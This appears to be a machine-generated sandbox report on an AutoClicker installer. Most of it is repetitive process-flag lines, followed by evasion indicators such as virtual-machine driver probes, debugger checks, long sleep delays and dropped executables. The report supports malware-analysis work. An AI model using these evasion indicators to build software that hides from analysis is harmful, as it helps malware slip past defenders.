Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Source: C:\Program Files\AutoClicker\AutoClicker.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PortConnector
Source: C:\Program Files\AutoClicker\AutoClicker.exeMemory allocated: 1A3F7740000 memory reserve | memory write watch
Source: C:\Program Files\AutoClicker\AutoClicker.exeMemory allocated: 1A3F9220000 memory reserve | memory write watch
Source: C:\Program Files\AutoClicker\AutoClicker.exeMemory allocated: 26A5C750000 memory reserve | memory write watch
Source: C:\Program Files\AutoClicker\AutoClicker.exeMemory allocated: 26A760A0000 memory reserve | memory write watch
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: VBoxGuest
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: vmci
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: HGFS
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: VBoxTrayIPC
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: \pipe\VBoxTrayIPC
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened / queried: VBoxMiniRdrDN
Source: C:\Program Files\AutoClicker\AutoClicker.exeThread delayed: delay time: 922337203685477
Source: C:\Program Files\AutoClicker\AutoClicker.exeThread delayed: delay time: 922337203685477
Source: C:\Program Files\AutoClicker\AutoClicker.exeWindow / User API: threadDelayed 3831
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-HFM4K.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-6KBP3.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-995L5.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-CRA9L.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-M8N4O.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-QGFEN.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-BRFBS.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-87DHK.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-1P3N2.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-6FJPH.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-EDLB4.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-BB1AB.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-9FRHH.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-0CSCM.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-L257R.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDropped PE file which has not been started: C:\Program Files\AutoClicker\is-5598U.tmpJump to dropped file
Source: C:\Program Files\AutoClicker\AutoClicker.exe TID: 5108Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Program Files\AutoClicker\AutoClicker.exe TID: 4016Thread sleep count: 3831 > 30
Source: C:\Program Files\AutoClicker\AutoClicker.exe TID: 4016Thread sleep count: 156 > 30
Source: C:\Program Files\AutoClicker\AutoClicker.exe TID: 3744Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\AutoClicker\AutoClicker.exe TID: 2868Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\AutoClicker\AutoClicker.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files\AutoClicker\AutoClicker.exeThread delayed: delay time: 922337203685477
Source: C:\Program Files\AutoClicker\AutoClicker.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information queried: ProcessInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess queried: DebugPort
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess queried: DebugPort
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess token adjusted: Debug
Source: C:\Program Files\AutoClicker\AutoClicker.exeMemory allocated: page read and write | page guard
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Program Files\AutoClicker\AutoClicker.exe "C:\Program Files\AutoClicker\AutoClicker.exe"
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files\AutoClicker\AutoClickerUpdate.bat" "
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\AutoClicker\AutoClicker.exe AutoClicker.exe /update
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\AutoClicker.exe VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.Sinks.Console.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.Sinks.File.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Text.Json.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Memory.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Buffers.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ValueTuple\v4.0_4.0.0.0__cc7b13ffcd2ddd51\System.ValueTuple.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Text.Encodings.Web.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Numerics.Vectors.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Resources\Icons\location-crosshairs-solid.ico VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\AutoClicker.exe VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
